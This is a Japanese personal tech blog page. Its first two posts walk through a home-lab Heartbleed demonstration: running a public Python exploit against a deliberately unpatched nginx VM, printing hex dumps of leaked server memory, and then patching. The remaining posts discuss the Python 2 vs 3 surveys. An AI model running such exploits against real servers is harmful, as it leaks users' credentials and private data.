読者です 読者をやめる 読者になる 読者になる

モラトリアムこじらせた

大人に成り切れない自分を自覚してウジウジと自分探しを延々と繰り返しつつ、気付いてみれば社会人になってからもう何年も経っちゃってて、そういえばローンとかも組んじゃってて、考えてみれば色々と取り返しのつかない年齢になっちゃってて、給料は上がらずリストラに怯えつつ、焦ってみても慌ててみても、やっぱり心に引っ掛るものが何なのか分からず、やっぱりウジウジ自分探しなんかしちゃったりしてる…、そんなモラトリアムをこじらせたあ・な・た(私)にお贈りする技術ブログ

あ、何か漏れてる… OpenSSL Heartbleed 実験その2

Security Python

さて、二週間前に世を賑わし、もはや誰も覚えてないんじゃないかってぐらい沈静化してしまった Heartbleed 問題ですが(そうでもない?)、泥棒は寝静まったころにやってくるんです。用心しましょう。

しかし一介のユーザーとして対処できることは少ないんですけどね。できることといったら

「ネットを信用しないことを始める」

ぐらいでしょうか? かといって自分の場合ネット依存度が高い今の生活を変えられるかというと、ウ〜ムと唸ってしまいます。

今回は何が漏れるのか?を実際にためしてみましたよ。

前回のおさらい

前回のエントリでは、

  1. 穴の開いた HTTPS サーバを立てる
  2. exploit code を実行する

という手順で「何かわからないけどデータがゲットできちゃう!」ってのをやってみました。

今回はもう少し「どんなモノが漏れ出てくるの?」を、軽〜くですが、見てみましょう。

Heartbleed とは何なのか? どうして漏れちゃうのかは、すでに色々なサイトで解説されてます。例えば:

などのサイトが役立つと思います。つまりは「サーバープロセスのメモリの一部が覗き見できちゃうよ」って、ことです。

漏らしてみよう!!

標的は再び前回こしらえた VM (nginx) を使います。

まずは VM の nginx を再起動します。

$ sudo service nginx restart
 * Restarting nginx nginx                               [ OK ] 

この状態で host PC から exploit を実行してみます。

$ python ./ssltest.py 192.168.195.205

すると、

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 875
 ... received message: type = 22, ver = 0302, length = 875
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
  00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    .....

  3f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!
Server length: 16384

先頭にゴミのようなものは見えますが、概ね 00 で埋めつくされているようです。 nginx のプロセスを restart で再起動したので nginx がメモリを初期化したのでしょう。

nginx の設定を reload すると…

さて、ここでおもむろに!! nginx の設定をリロードしてみます。

$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 

さらにしつこく2回ぐらいリロードしてみます。

$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 
$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 

そしたら再び host から exploit を実行してみます。

$ python ./ssltest.py 192.168.195.205

…なんということでしょう…!

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 875
 ... received message: type = 22, ver = 0302, length = 875
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".

        ...

  0450: 30 15 80 00 00 00 00 00 00 00 00 00 00 00 00 00  0...............
  0460: 00 00 00 00 00 00 00 00 61 70 70 6C 69 63 61 74  ........applicat
  0470: 69 6F 6E 2F 78 2D 72 61 72 2D 63 6F 6D 70 72 65  ion/x-rar-compre
  0480: 73 73 65 64 00 00 72 61 72 00 00 00 00 00 00 00  ssed..rar.......
  0490: 1C 00 00 00 00 00 00 00 D0 50 7F 00 00 00 00 00  .........P......
  04a0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 72 65  application/x-re
  04b0: 64 68 61 74 2D 70 61 63 6B 61 67 65 2D 6D 61 6E  dhat-package-man
  04c0: 61 67 65 72 00 00 72 70 6D 00 00 00 00 00 00 00  ager..rpm.......
  04d0: 24 00 00 00 00 00 00 00 08 51 7F 00 00 00 00 00  $........Q......
  04e0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 65  application/x-se
  04f0: 61 00 00 73 65 61 00 00 11 00 00 00 00 00 00 00  a..sea..........
  0500: 48 51 7F 00 00 00 00 00 61 70 70 6C 69 63 61 74  HQ......applicat
  0510: 69 6F 6E 2F 78 2D 73 68 6F 63 6B 77 61 76 65 2D  ion/x-shockwave-
  0520: 66 6C 61 73 68 00 00 73 77 66 00 00 00 00 00 00  flash..swf......
  0530: 1D 00 00 00 00 00 00 00 70 51 7F 00 00 00 00 00  ........pQ......
  0540: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 74  application/x-st
  0550: 75 66 66 69 74 00 00 73 69 74 00 00 00 00 00 00  uffit..sit......
  0560: 15 00 00 00 00 00 00 00 A8 51 7F 00 00 00 00 00  .........Q......
  0570: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 74 63  application/x-tc
  0580: 6C 00 00 74 63 6C 00 00 74 6B 00 00 00 00 00 00  l..tcl..tk......
  0590: 11 00 00 00 00 00 00 00 D8 51 7F 00 00 00 00 00  .........Q......
  05a0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 78 35  application/x-x5
  05b0: 30 39 2D 63 61 2D 63 65 72 74 00 00 64 65 72 00  09-ca-cert..der.
  05c0: 00 70 65 6D 00 00 63 72 74 00 00 00 00 00 00 00  .pem..crt.......
  05d0: 1A 00 00 00 00 00 00 00 08 52 7F 00 00 00 00 00  .........R......

なんか文字らしきものが見えてきました!! これは nginx の設定ファイルの

    /etc/nginx/mime.types

の一部:

    ...
    application/x-rar-compressed            rar;
    application/x-redhat-package-manager    rpm;
    application/x-sea                       sea;
    application/x-shockwave-flash           swf;
    application/x-stuffit                   sit;
    application/x-tcl                       tcl tk;
    application/x-x509-ca-cert              der pem crt;
    application/x-xpinstall                 xpi;
    application/xhtml+xml                   xhtml;
    application/zip                         zip;

    ...

完全に一致ッ!!

( ゚д゚)ポカーン

…気をとりなおして、もう少し下の方にいくと…

  2370: 01 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00  ................
  2380: 6C 69 73 74 65 6E 00 00 34 34 33 00 00 73 73 6C  listen..443..ssl
  2390: 00 00 6F 6E 00 00 73 73 6C 5F 63 65 72 74 69 66  ..on..ssl_certif
  23a0: 69 63 61 74 65 00 00 2F 65 74 63 2F 6E 67 69 6E  icate../etc/ngin
  23b0: 78 2F 63 65 72 74 2E 63 72 74 00 00 73 73 6C 5F  x/cert.crt..ssl_
  23c0: 63 65 72 74 69 66 69 63 61 74 65 5F 6B 65 79 00  certificate_key.

これって前回のエントリーで自分で書いた https.conf の中身

server {
    listen 443;
    ssl on;
    ssl_certificate      /etc/nginx/cert.crt;
    ssl_certificate_key  /etc/nginx/cert.key;
}

じゃね…? (震え声)

'`,、('∀`) '`,、

ブラウザからアクセスすると?

Chrome から https://192.168.195.205/ にアクセスしてみました。証明書が前回自作したなんちゃって版なので警告が出ますが、無視して接続しましょう。

Welcome to nginx!

とか(のんきな感じで)出てます。

さて、また漏らしてもらいましょう。

$ python ./ssltest.py 192.168.xxx.xxx
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66

        ...(略)...

Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...

        ...(略)...

  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 36 20 28 4B  ....#.......6 (K
  00e0: 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F  HTML, like Gecko
  00f0: 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E 31 38  ) Chrome/34.0.18
  0100: 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F 35 33  47.116 Safari/53
  0110: 37 2E 33 36 0D 0A 41 63 63 65 70 74 2D 45 6E 63  7.36..Accept-Enc
  0120: 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 64 65 66 6C  oding: gzip,defl
  0130: 61 74 65 2C 73 64 63 68 0D 0A 41 63 63 65 70 74  ate,sdch..Accept
  0140: 2D 4C 61 6E 67 75 61 67 65 3A 20 6A 61 2C 65 6E  -Language: ja,en
  0150: 2D 55 53 3B 71 3D 30 2E 38 2C 65 6E 3B 71 3D 30  -US;q=0.8,en;q=0
  0160: 2E 36 0D 0A 0D 0A BB 6D BA 3F 7E FC B0 6D F7 7E  .6.....m.?~..m.~
  0170: 4A 2B DE CA 7D 03 8B 47 00 86 00 00 00 00 00 00  J+..}..G........
  0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

えっと、なんか出てませんか…。"6 (KHTML, like Gecko) Chrome/34.0.18..." って…ブラウザの USER_AGENT の値の一部じゃない?!

まとめ

今回は、次のような簡単な実験:

  1. nginx を reload した
  2. 外から Chrome で nginx に繋いだ

だけで、

  1. nginx の設定ファイルの一部が見えた!
  2. Chrome の USER_AGENT の一部が見えた!

ってのが確認できてしまいました。

今回はお一人様での簡単な実験なので「 ( ´_ゝ`)フーン」って感じでしょうが、本来であれば、

  1. サーバーの設定ファイルを、サーバーの外から誰でも自由に見えるようにしてないよね?
  2. 自分が繋いだ Chrome の USER_AGENT をアカの他人が自由に見られるなんてことないよね?

今回は試してませんが、例えばサーバーが Database に何か書いたり読んだりしてるとか、サーバーが URL に埋め込まれた user id と password を処理してるとか…、そういうのもこうやって読めてしまうのかもしれません。

ちなみに環境によっては同じ結果にならないかもしれません。いろいろと試して遊んでみてください。

OpenSSL マジヤバいっす! ~ Heartbleed 脆弱性を試してみたよ

Python Security

実際にデータが漏れる様子を見たい方はコチラ→あ、何か漏れてる… OpenSSL Heartbleed 実験その2へどうぞ。

さて

ネット上の通信の大部分において「安全」を担保していた OpenSSL なのですが... でっかい穴 が空いていたことが明らかになったようです。いわゆる Heartbleed バグ。トホホです。

「ネット上のサービスで OpenSSL を使っている(いた)サイトは、もしかしたらこのバグを知っていた悪い人からサーバー上の情報を盗まれていたかもよ? しかも盗んだ形跡は残らないんだぜ?」

ということになります。

サーバー上の情報というのは、例えば

  • パスワード、メールアドレス
  • 自分で登録した名前とか住所とか
  • もちろん自分で入力したクレジットカード番号とか…

などなど。

Mashableによると、有名なサービスでヤバイのは、

がリストアップされています。私もこの中のいくつかのサービスに依存しています。

日本のサービスについてヤバいリストはまだないんでしょうか? あったら教えて下さい。

あるいは、Heartbleed test に URL を入れると、そのサイトが「今でもヤバイ」かどうかが調べられます。ただ、このチェックは

「今現在、OpenSSL の Heartbleed バグが修正されてるかどうか?」

しかわかりません。つまり、悲しいですが OpenSSL を使っていたすべてのサイトについて、

「今OKだとしても、過去はバグありの OpenSSL で運営されていたかもしれない。だから情報が盗まれていないとは断言できない」

ということも事実です。なのでセキュリティーの偉い人であるブルース・シュナイアーさんは、自身のブログで、

"Catastrophic" is the right word. On the scale of 1 to 10, this is an 11.
(「壊滅的」という言葉がまさに当てはまる。1~10 で言えばこの問題は 11 だ)

と述べています。打つ手なしですね。笑うしかない。草不可避。

exploit コードを試してみよう!

さて、気分を変えて脆弱性を自分で試してみましょう。悪者になってみるのです。いや、本気でやっちゃダメです! どういうことができるのか体験して怖さを知るのです。

手順:

  1. Ubuntu 13.10 VM を作ります (Ubuntu以外でも。お好きなOSやdistroで)
  2. VMhttps を動かします
  3. exploit コードを host PC から実行します
  4. OpenSSL を新しくして再度 exploit を実行します

1. Ubuntu 13.10 VM を作ります

今をときめく理研のサーバ等から ubuntu-13.10-server-amd64.iso 等好きなOS用のイメージをゲットします。OpenSSL が古そうなものがいいです。

VMware Player は皆さんのPCにインストール済みでしょうから、ダウンロードしたOSのイメージで新しい仮想マシンを作成します。

インストールしたら OpenSSL のバージョンを調べて「新しくない」ことを確認して下さい。

$ dpkg --list | grep libssl
ii  libssl1.0.0:amd64        1.0.1e-3ubuntu1        amd64    SSL shared libraries

この 1.0.1e-3ubuntu1 が OpenSSL のパッケージのバージョンです。

CVE-2014-0160 OpenSSL Heartbleed 脆弱性まとめ を見ると、Ubuntu 13.10 では 1.0.1e-3ubuntu1.2 で修正されているので、1.0.1e-3ubuntu1 はバグありバージョンということになります。やったね。

くれぐれも

$ sudo apt-get upgrade

実行しないでください。OpenSSLが新しくなってSTAP細胞が再現できなくなってしまいます。

2. VMhttps を動かします

nginx を入れてみました。

$ sudo apt-get install nginx

テスト用証明書を作ります。

$ sudo -s
# cd /etc/nginx
# openssl req -new -days 365 -x509 -nodes -keyout cert.key -out cert.crt

https サーバの設定をします。

# vi /etc/nginx/conf.d/https.conf

vi じゃなくてもいいですが、内容は

server {
    listen 443;
    ssl on;
    ssl_certificate      /etc/nginx/cert.crt;
    ssl_certificate_key  /etc/nginx/cert.key;
}

だけで行けました。そしたらサーバを起動します。

# service nginx start
 * Starting nginx nginx                           [ OK ]

エラーが出たら https.conf などを見なおしてください。

nginx が起動したら ifconfig で VM のアドレスを調べて、たとえば 192.168.195.205 だったら、host PC からブラウザで http://192.168.195.205https://192.168.195.205 に接続できるか確認して下さい。

3. exploit コードを host PC から実行します

いよいよ!

exploit code は ここ で公開されています。Python でわかりやすく書かれています。時間をとって読んでみようと思います。今は単に動かすだけ。

入手したスクリプトを host PC のコマンドラインから実行します。

$ python ./ssltest.py 192.168.195.205

と打つと…

$ python ./ssltest.py 192.168.195.205
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 855
 ... received message: type = 22, ver = 0302, length = 855
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...

        ...

  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

        ...

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!

うわぁ~ん! なにやら見えちゃいけないものが見えてるよ~!! って感じでデータが表示されます! まさにこれが、

「見えないはずのデータが OpenSSL のバグで見えちゃってる状態」

ということです。

4. OpenSSL を新しくして再度 exploit を実行します

さて、最後に ubuntu の OpenSSL を新しくします。

$ sudo apt-get upgrade

いろんなパッケージが新しくなりますが、その中に libssl があることを確認しておいてください。 upgrade が終了したら、

$ dpkg --list | grep libssl
ii  libssl1.0.0:amd64        1.0.1e-3ubuntu1.2        amd64    SSL shared libraries

バージョンを確認しましょう。さっきは 1.0.1e-3ubuntu1 でしたが、upgrade したら 1.0.1e-3ubuntu1.2 になりました。Heartbleed 脆弱性まとめを見ると、これは問題が修正されたバージョンということになります。

libssl を新しくしたら、nginx をリスタートします。リスタートしないと古い OpenSSL が使われたままになります。

$ sudo service nginx restart
 * Starting nginx nginx                           [ OK ]

最後に host PC から exploit code を実行します。先ほどと同じに、

$ python ./ssltest.py 192.168.195.205

とすると、今度は

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 855
 ... received message: type = 22, ver = 0302, length = 855
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...

と出るだけで終了します。これは OpenSSL の Heartbleed 問題が修正されているので「持って来れないはずのデータは、まさしく持って来れない」ことを意味します。

まとめ

便利な世の中になりましたが、私達は、普段意識していない色んな見えないモノに依存した上で、この便利さを享受しているのだな、と実感させられます。

原発も見えないし、ソフトウェアも見えない。STAPも見えない。見えないモノというのは、便利さの反面、大きな代償を生むこともあるのでしょう。

Python 2.x 対 3.x のアンケートで Hacker News 炎上?!

Python

前回の記事で紹介したアンケートは 2013/12/30 に Hacker News でアナウンスされましたが、コメントが 117 もついてます。

最近の Hacker News のスレでコメントが 100 を越えているのは二割程度ですから、1つのプログラミング言語の話題で、それも9つの質問しかないアンケートに対するレスなので、かなり盛り上がったと言えるかと。

内容もアツい。

Python への愛着があるからこそ、皆それぞれの強い思いがあるんだろうな。

気になるコメをピックアップ

MercurialPython 3 に移植するのがすげー面倒なんだが?

git と同じようなバージョン管理システムである Mercurial の中の人と思しき人によるコメントがありました。

例の bytes 型と Unicode 型が分けられてしまったことに由来して 2→3 への移植が困難なパターンにハマってるようです。

ネットワークプログラミングフレームワークTwisted も同様な理由で未だ Python 3 をサポートできてないので、こういう状況がいくつもあるのを知るたびに、もっと良い進化の方向はなかったんだろうか、と不信が募ってしまいます。

Python 3.x は間違いだったと思う?」でアンケ回答するのやめた

…というコメントがあり、このレスが一番述びてます。やはり気になる(気に障る?)質問ということでしょう。レスは例えば、

  • このアンケートは、3 を選ばせる方向に偏ってる。
  • 質問がもっと具体的でポジティブだったらよかったのに。
  • これは重要な質問。半数以上の人が Python 3 を使ってないのでは?
  • Python 3 は間違いじゃないと思うが、移行には時間がかかるだろう。

などの意見の他、実際に Python の講師をしている人のコメントがありました:

中国、ヨーロッパ、イスラエル、アメリカ等で Apple, Cisco, Intel, SANDisk 等の大企業で何年も Python を教えてきたが、 Python 3 を教えたのは 1 ケースしかなかった。それ以外は全て Python 2 を教えるよう依頼される。

Python 3 で何が変化したかを説明するよう頼まれたこともあったが、それも稀なケース。

彼等はみんな 2 のレガシーコードを抱え込んでいる。3 に移行するメリットが明らかではない。

これが商品開発の現場における Python のバージョン問題の実情なんだと思います。

標準のパッケージマネージャーが無いのも問題

Python には Ruby の gem のような標準のパッケージマネージャーがありません。 「え? pip や easy_install は?」と思いますが、どちらも Python オフィシャルではないんですね…。

このアンケートがパッケージマネージャーのことに触れないのもヒドい。 pip ですべてうまくいくわけじゃないのに。 しかも pip も Python のバージョンごとにあるわけだし。

Ruby の場合は Ruby をインストールしたら gem もインストールされて、はい、おしまい、なんですが、それに比べたら到底シンプルとは言えないってことですな。

この状況に対して、

もし Python 3 で標準のパッケージマネージャーが実現したら、3 を採用する大きな理由になるだろうな。

というコメントもありました。一理あると思います。

さて、まとめというか雑感を…

ここ数回、Python 2 と Python 3 の「問題」を見てきました。

もともと私は Python 2 系でずっとコードを書いていて、そういえば Python 3 を使ったことがないなぁ、Python 3 ってどんなかなぁ、どういう風に移行に臨めばいいんだろうか? ということで調査を始めたわけでした。

で、最初に見付けたよさげな文書が 2.x-vs-3.x-survey で、それをここ に日本語訳をしてみたわけです。

そして、今回の hacker news のプチ炎上。

確かに「言語として綺麗に整理する」のは、言語設計者なら誰でも願うことでしょうし、ユーザーにとっても変な部分が無くなってスッキリするかもしれません。

けれど、2.x がすごく成功してしまったから、それが足枷になってしまってるんだと思います。そういう状況で、敢えて互換性を壊す選択をした 3.x が、大きな代償を支払ってる現実をありありと見せ付けられた感じでした。

考えてみれば C++ は C への拡張として始まり、長いこと互換性を非常に気にしつつ、進化してきてるんだよなあ。言語の形としては声高々に「汚い!」と言わざるをえない状況ですが、それでも、そのお陰で過去の資産を過去のものではなく現代にそのまま利用できている訳です。

Togetter: Ruby 1.8→1.9への移行とPython 2.x→3.xへの移行に関するやりとり に、Ruby 作者のまつもとゆきひろ氏が

Pythonは2系の出来が良すぎて、3系への移行がなかなか進んでないようですね。3系への新規機能追加を停めるモラトリアムも効果なかったみたいだし、難しいものです。

とコメントしています。

では、自分はどっちを使う?

これまでと変わらず、慣れ親しんで来た 2.x 系をメインで使っていくだろうな、と思っています。ちょっとずつ 3.x を学んで行こうとは思いますが。

「やりたいことを実現する道具」としての言語ならば 3.x でも 2.x でもどちらでも良いわけで、それ以前にそもそも Python で無くてもいいわけで。プログラミング言語の設計自体に興味はありますが、言語の設計に対する興味と、言語を実際に道具として使うこととは、やっぱり違う訳です。

ということで、Python 好きの一人として 3.x に移行しよう! と思って始めた調査でしたが、逆に「僕は 2.x に居つづけてもいいんだ!(パチパチパチ)」いう結果に落ち着いてしまいました。 orz

「Python 2.x 対 3.x のアンケート結果」を見てみたよ

Python

Python 本家の wiki2.x-vs-3.x-survey というアンケート結果が載っていました。

2013/12/30〜2014/1/2 という年末年始のたった 4 日程の結果らしいですが、5000人弱が投票しているようです。(年末年始に酒飲んでぐだぐだするのは日本ぐらい?)

アンケートの内容は、

  • Q1. Python 2.x でコードを書いたことはある?
  • Q2. Pyhton 3.x でコードを書いたことはある?
  • Q3. 今 2.x と 3.x のどちらをよく使っている?
  • Q4. Python 3.x は失敗だったと思う?
  • Q5. 今 2.x に依存せざるを得ない状態にある?
  • Q6. Python 2.x のコードを 3.xに移植したことはある?
  • Q7. 2to3 を使ってコードを書いた/移植したことはある?
  • Q8. 3to2 を使ってコードを書いた/移植したことはある?
  • Q9. 2.x と 3.x で修正せずに動くコードを書いた/移植したことはある?

の 9 つです。なかなか興味深い質問になっています。特に 4 は挑発的な質問になっており、hackers news では議論(炎上?)を呼んだようです。この炎上の様子は改めて読んでみたいと思います。

なお、このアンケートがアナウンスされたのは、comp.lang.python, python-dev, hacker news で、つまりは Python 好きな hacker 達が答えた結果になってます。

それでは、結果を見ていきましょう。

Q1. Python 2.x でコードを書いたことはある?

  • Yes: 97.29%
  • No: 2.48%

ほとんどの人が 2.x 系を使ったことがある。Python hacker 達であれば当たり前な結果でしょう。

Q2. Pyhton 3.x でコードを書いたことはある?

  • Yes: 59.75%
  • No: 39.83%

回答者は Python 好きな人達なのに「3.x を使ったことがない」人達が「4割も」いることになります。Python 2.x の作った功績は偉大だと言うことでしょうね。

私もそうです。Python は好きですが、まだ 3.x でちゃんと書いことない。 このブログを機に Python 3 をモノにしようと思ってはいますが。

Q3. 今 2.x と 3.x のどちらをよく使っている?

  • 2.x: 77.08%
  • 3.x: 21.63%

まだ 2.x 系のほうが現役ですね。3.x はいまいち萌えない娘…?

Q2 の回答では 6 割の人が 3.x を使ったことがあるはずですが、おそらく「単に使ってみた」とか「違いがどんなのか試してみた」というレベルなのかもしれません。

Q4. Python 3.x は失敗だったと思う?

続きを読む

Python 2 と Python 3 のどちらを使って開発すべき?

Python

さて、いきなりですが、Python 本家の Wiki にある Should I use Python 2 or Python 3 for my development activity? という文書を日本語に翻訳してみました。

「そういえば Python 3 って出てもう何年も経ってるんだよなぁ。でもずっと Python 2 系使ってたし 3 って互換性ないらしいし、よく分からんし怖いよなぁ…」

って風に Python こじらせちゃってるあなた(私)には、特に有益かと思います。

誤訳や間違いなどのご指摘とか、もっとこうした方がいいとか、その他コメントなどありましたら、是非このブログのコメント欄をご利用ください。 Twitter@nyagao 宛にメッセージ送って頂いても構いません。

では、以下、その翻訳です。(wiki の last edited 2014-03-16 15:19:13 版を元にしています)


Python 2 と Python 3 のどちらを使って開発すべき?

違いは何?

簡単に言えば、Python 2.x は過去の遺物であり、Python 3.x は今現在そして今後の姿である。

Python 3.0 は 2008 年にリリースされた。 2.x 系の最後のバージョンである 2.7 は、開発を終了した 2.x 系のサポートを延長する名目で 2010 年中盤にリリースされた。 2.x ブランチは、それ以後メジャーリリースが行なわれる予定は無い。 3.x は、現在積極的に開発が進められている状況にあり、この 4 年以上で既に安定版がいくつかリリースされている。 2012 年にリリースされた 3.3 もその一つ。 次回のリリースは 2014 初頭に Python 3.4 が登場する予定 (訳注: 2013/3/16 にリリースされた)。 このことは、例えば、新しい標準ライブラリは全てデフォルトで Python 3.x 用にしか改善されていかない、ということを意味する。

Guido van Rossum (Python の作者) は、Python 2.x 系を適切にきちんと整理することに決めた。 この際、後方互換性については 2.x 系の場合よりもこだわらないことにした。 最もドラスティックな改善点は、Unicode のサポート方法が良くなったことと (全ての文字列はデフォルトで Unicode になった)、bytes 型と Unicode 型がマトモに分離されたことが挙げられる。

更に (print 文、exec 文、切り捨て除算などの) コア言語の幾つかの点が修正され、新規参入者に分かりやすく学習しやすく、言語の他の部分との一貫性が高くなった。 また、古臭い不快な要素は削除された (例えば、全ての class は今は新しいスタイルだし、range() は 2.x のようなリストではなく、メモリ効率の良い iterable を返す)。

What's New in Python 3.0 は、言語自体の主な変更点や、既存の Python 2.x 系コードと非互換性の原因になりそうな部分について概要を知る良い文書となっている。 Nick Coghlan (CPython の中心的な開発者の一人) も、新バージョンへの移行に関して比較的規模の大きい FAQ を作成している。

しかしながら、Python のエコシステムの広がりにより、ここ数年でかなりの量の良質なソフトウェアが蓄積されてきた。 3.x で後方互換性が壊されたことのマイナス面は、そういったソフトウェアに (特に企業内で自社開発したソフトウェアに)、まだ 3.x で動作しないものがあるということだ。

続きを読む

「初心表明」って変換で出てこないよ?

こんにちは。@nyagao です。

人生に無自覚なまま、のんべんだらりんと日々を過ごしてきてしまった自分への戒めとして、ブログを書くことにしました。

モラトリアムこじらせた』…ッ!

主意は、

大人に成り切れない自分を自覚してウジウジと自分探しを延々と繰り返しつつ、気付いてみれば社会人になってからもう何年も経っちゃってて、そういえばローンとかも組んじゃってて、考えてみれば色々と取り返しのつかない年齢になっちゃってて、給料は上がらずリストラに怯えつつ、焦ってみても慌ててみても、やっぱり心に引っ掛るものが何なのか分からず、やっぱりウジウジ自分探しなんかしちゃったりしてる…、そんなモラトリアムをこじらせたあ・な・た(私)にお贈りする技術ブログ

です。

…えっと、「技術ブログ」です。

技術にもいろいろありますね。例えば、なんとか細胞を作る技術とか、Natureに載るレベルの論文を書く技術とか、音が聞こえない振りをする技術とか。

私の場合、やはりソフトウェアの世界に生まれ育った身ですから、まぁ、そのあたりの技術を中心に、なんか書きます。なるべく人をだます方向ではない感じのを。

自分が興味あるソフトウェア技術だから、おそらく

とかでしょうか。他にもあるかもしれない。

